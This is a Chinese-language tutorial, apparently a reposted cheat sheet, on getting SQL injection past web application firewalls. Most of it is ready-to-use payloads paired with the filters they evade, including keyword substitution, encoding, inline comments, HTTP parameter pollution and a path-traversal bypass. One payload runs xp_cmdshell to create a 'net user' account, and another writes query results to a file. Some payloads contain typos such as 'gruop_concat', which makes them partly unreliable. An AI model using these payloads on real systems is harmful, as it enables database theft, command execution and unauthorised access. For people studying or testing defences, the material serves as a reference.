關於SQL注入繞過的一些知識點，SQL注入繞過知識點

關於SQL注入繞過的一些知識點，SQL注入繞過知識點

一、 繞過waf思路

從第一步起，一點一點去分析，然後繞過。

1、過濾 and,or

preg_match('/(and|or)/i', $id)Filtered injection: 1 or 1 = 1 1 and 1 = 1Bypassed injection: 1 || 1 = 1 1 && 1 = 1

2、過濾 and, or, union

preg_match('/(and|or|union)/i', $id)Filtered injection: union select user, password from usersBypassed injection: 1 || (select user from users where user_id = 1) = 'admin'

3、過濾 and, or, union, where

preg_match('/(and|or|union|where)/i', $id)Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'Bypassed injection: 1 || (select user from users limit 1) = 'admin'

4、過濾 and, or, union, where, limit

preg_match('/(and|or|union|where|limit)/i', $id)Filtered injection: 1 || (select user from users limit 1) = 'admin'Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

5、過濾 and, or, union, where, limit, group by

preg_match('/(and|or|union|where|limit|group by)/i', $id)Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

6、過濾 and, or, union, where, limit, group by, select

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'Bypassed injection: 1 || substr(user,1,1) = 'a'

7、過濾 and, or, union, where, limit, group by, select, ‘

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1Bypassed injection: 1 || user_id is not nullBypassed injection: 1 || substr(user,1,1) = 0x61Bypassed injection: 1 || substr(user,1,1) = unhex(61)

8、過濾 and, or, union, where, limit, group by, select, ‘, hex

preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)Filtered injection: 1 || substr(user,1,1) = unhex(61)Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))

9、過濾 and, or, union, where, limit, group by, select, ‘, hex, substr

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))Bypassed injection: 1 || lpad(user,7,1)

10、過濾 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)Filtered injection: 1 || lpad(user,7,1)ypassed injection: 1%0b||%0blpad(user,7,1)

二、正則繞過

根據正則的的模糊比對特性繞過，比如過濾了'='

filtered injection: 1 or 1 = 1

Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)

eg:filtered injection:  1 union select 1, table_name from information_schema.tables where table_name = 'users'Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)Bypassed injection:  1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7aBypassed Injection:  1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273

三、通用繞過

1.注釋符

?id=1+un//ion+se//lect+1,2,3–

2.大小寫

?id=1+UnIoN//SeLecT//1,2,3–

3.關鍵字替換

有些waf等使用preg_replace替換了SQL關鍵字

?id=1+UNunionION+SEselectLECT+1,2,3--?id=1+uni%0bon+se%0blect+1,2,3--

有時候注釋符'/**/‘可能被過濾，也可以使用%0b繞過

Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).htmlBypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html

4.編碼

一個經典的指令碼：Nukesentinel.php

// Check for UNION attack  // Copyright 2004(c) Raven PHP scripts  $blocker_row = $blocker_array[1];  if($blocker_row['activate'] > 0) {  if (stristr($nsnst_const['query_string'],'+union+') OR \  stristr($nsnst_const['query_string'],'%20union%20') OR \  stristr($nsnst_const['query_string'],'*/union/*') OR \  stristr($nsnst_const['query_string'],' union ') OR \  stristr($nsnst_const['query_string_base64'],'+union+') OR \  stristr($nsnst_const['query_string_base64'],'%20union%20') OR \  stristr($nsnst_const['query_string_base64'],'*/union/*') OR \  stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);   die("BLOCK IP 1 " );  }  }

Forbidden: http://localhost/php/?/**/union/**/selectBypassed : http://localhost/php/?/%2A%2A/union/%2A%2A/selectBypassed : http://localhost/php/?%2f**%2funion%2f**%2fselect

5.緩衝區溢位

http://localhost/news.php?id=1+and+(select 1)=(select 0xA*1000)+union+select+1,2,version(),database(),user(),6,7,8,9,10–

6.內聯注釋(mysql)

http://localhost/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--http://localhost/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--

四、進階繞過

1.HPP（http參數汙染)

舉個例子：

index.php?par1=val1&par1=val2| web server | par1 || :— | :— || ASP.NET/IIS | val1,val2 || ASP/IIS | val1,val2 || PHP/Apache | val2 || JSP/Tomcat | val1 |

eg:

在ASP/ASP.NET的環境下

Forbidden: http://localhost/search.aspx?q=select name,password from usersBypassed : http://localhost/search.aspx?q=select name&q=password from usersBypassed : http://localhost/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/usersBypassed : http://localhost/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user test test /*&id=1*/ --

2.HPC(http參數汙染)

RFC2396定義了如下一些字元：

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()Reserved : ; / ? : @ & = + $ ,Unwise : { } | \ ^ [ ] `

不同的Web伺服器處理處理構造得特殊請求時有不同的邏輯：

| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP || :— | :— | :— || ?test[1=2 | test_1=2 | test[1=2 || ?test=% | test=% | test= || ?test%00=1 | test= | test=1 || ?test=1%001 | NULL | test=1 || ?test+d=1+2 | test_d=1 2 | test d=1 2 |

eg:

Forbidden: http://localhost/?xp_cmdshellBypassed : http://localhost/?xp[cmdshellForbidden: http://localhost/test.asp?file=../flag.txtBypassed : http://localhost/test.asp?file=.%./flag.txtForbidden: http://localhost/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)Bypassed : http://localhost/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

總結

以上就是關於sql注入繞過的技巧總結，希望本文的內容對大家的學習或者工作能帶來一定的協助，如果有疑問大家可以留言交流，謝謝大家對幫客之家的支援。